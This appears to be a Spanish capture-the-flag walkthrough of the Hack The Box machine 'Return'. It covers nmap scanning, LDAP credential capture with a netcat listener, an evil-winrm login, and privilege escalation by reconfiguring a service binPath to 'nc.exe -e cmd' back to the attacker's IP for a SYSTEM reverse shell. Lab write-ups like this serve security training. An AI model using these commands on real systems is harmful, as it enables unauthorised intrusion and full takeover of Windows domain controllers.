❯ nmap -sS -Pn -n -vvv --open --min-rate 5000 10.10.11.108 -oG port
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
Puertos abiertos.
❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269 10.10.11.108 -oN target.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-02 01:54 EDT
Nmap scan report for 10.10.11.108
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: HTB Printer Admin Panel
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-01 22:16:14Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: -7h38m20s
| smb2-time:
| date: 2025-05-01T22:16:20
|_ start_date: N/A
Versiones y servicios que corren para cada uno de los puertos.
Comprobamos el dominio y lo agregamos al etc/host.
❯ nc -lvnp 389
listening on [any] 389 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.11.108] 49898
0*`%return\svc-printer
1edFg43012!!
Nos ponemos en escucha por el puertos que dice y recibimos unas credenciales.
ldapdomaindump
❯ ldapdomaindump -u 'return.local\svc-printer' -p '1edFg43012!!' 10.10.11.108 -o ldap
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
❯ cd ldap
❯ pwd
/home/kali/Desktop/HackTheBox/Return/content/ldap
Dumpeamos el DC para ir haciendonos una idea de todo y nos compartimos un servidor con python3 para verlo.
Observamos pocos usuarios y del usuario que tenemos credenciales observamos que forma parte del Remote Management Users.
❯ evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents> cd ..//Desktop
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> more user.txt
f68366c75611129ee26d5ca9c57ed667
*Evil-WinRM* PS C:\Users\svc-printer\Desktop>
Nos conectamos y obtenemos la primera bandera.
Escalada Privilegios
*Evil-WinRM* PS C:\Users\svc-printer\Documents> net user svc-printer
User name svc-printer
Full Name SVCPrinter
Comment Service Account for Printer
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 5/26/2021 1:15:13 AM
Password expires Never
Password changeable 5/27/2021 1:15:13 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 5/1/2025 3:26:29 PM
Logon hours allowed All
Local Group Memberships *Print Operators *Remote Management Use
*Server Operators
Global Group memberships *Domain Users
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-printer\Documents>
Enumerando datos del usuario svc-printer vemos que está en el grupo Server Operators
Una búsqueda en Google nos revela que los usuarios que pertenecen a este grupo pueden entre otras cosas arrancar y parar servicios.
Antes que nada nos compartimos un servidor con python3 y nos descargamos desde la maquina nc.exe.
sc.exe config WdNisSvc binPath="C:\temp\nc.exe -e cmd 10.10.14.47 443"
sc.exe config VMTools binPath="C:\temp\nc.exe -e cmd 10.10.14.47 443"
sc.exe stop VMTools
sc.exe start VMTools
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.11.108] 49991
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
